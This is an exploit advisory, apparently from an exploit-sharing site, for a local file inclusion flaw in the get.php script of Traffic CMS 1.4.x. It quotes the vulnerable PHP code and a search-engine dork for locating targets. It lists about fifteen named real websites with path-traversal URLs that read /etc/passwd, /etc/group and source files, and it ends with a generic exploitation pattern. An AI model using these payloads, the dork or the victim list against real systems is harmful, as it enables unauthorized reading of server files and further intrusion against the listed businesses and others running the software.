Traffic CMS 1.4.x Local File Inclusion Vulnerability

Traffic CMS v1.4.x => Local File Inclusion Vulnerability
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : [email protected]
[~] HomePage : http://milw00rm.com - http://h4x0resec.blogspot.com 
[~] Þeker Insanlar :  ZoRLu, ( milw00rm.com ), 
                      Septemb0x , BARCOD3 , _UnDeRTaKeR_ , BackDoor, d4rkvisuaL, BlackEdition
                      DaiMon, PRoMaX, alpican, EthicalHacker, BurakGrs, LordERROR
###########################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Traffic CMS 
|~Affected Version : v1.4.x
|~Software  : http://www.trafficwebsites.co.uk/  - https://www.facebook.com/trafficwebsites
|~RISK : Medium
|~Google Keyword :  inurl:/admin/media/get.php ( developable )
|~Tested On : [L] Kali Linux \ [R] Example sites 
#################### INFO ################################
makes it possible to read all the files from the local base.
 #######################################################
 
### Error Line in 'get.php' ## 
<?php
$ssl = true;
$file = $_GET['f'];
$path = UL_PATH;
$docs = array('doc','docx','xls','xlsx','pdf','zip','txt','rtf','ppt','pptx');
if (file_exists($path.$file))
{
  $size = filesize($path.$file);
  $contents = file_get_contents($path.$file);
  $finfo = finfo_open(FILEINFO_MIME_TYPE);
  $mime = finfo_file($finfo,$path.$file);
  finfo_close($finfo);
  if(in_array(file_ext($file), $docs))
..

########################################################
Tested on;
http://www.uha.london/admin/media/get.php?f=../../etc/group
https://www.unlimitedshop.co.uk/admin/media/get.php?f=../../etc/group
https://www.unlimitedshop.co.uk/admin/media/get.php?f=../index.php     ()
http://www.ticktockrobot.co.uk/admin/media/get.php?f=../../etc/group
http://www.powerelectricservices.co.uk//admin/media/get.php?f=../../etc/group
http://www.knighthoodcorporate.com/admin/media/get.php?f=../../etc/group
http://www.nexusdp.co.uk/admin/media/get.php?f=../../etc/group
http://www.thespencepractice.co.uk/admin/media/get.php?f=../../etc/group
http://www.brightwell.fr/admin/media/get.php?f=../../../../../etc/passwd
http://www.brightwell.co.uk/admin/media/get.php?f=../../../../../etc/passwd
http://brightwell.es/admin/media/get.php?f=../../../../../etc/passwd
http://www.brightwell-inc.com/admin/media/get.php?f=../../../../../etc/passwd
http://www.talbottype.co.uk/admin/media/get.php?f=../../../../../etc/passwd  
http://www.talbottype.co.uk/admin/media/get.php?f=../index.php  
http://www.weddinginateacup.co.uk/admin/media/get.php?f=../../../etc/group
############################################################
Exploitation; http://$VICTIM/admin/media/get.php?f=[Local Path] 
############################################################

#  0day.today [2018-01-02]  #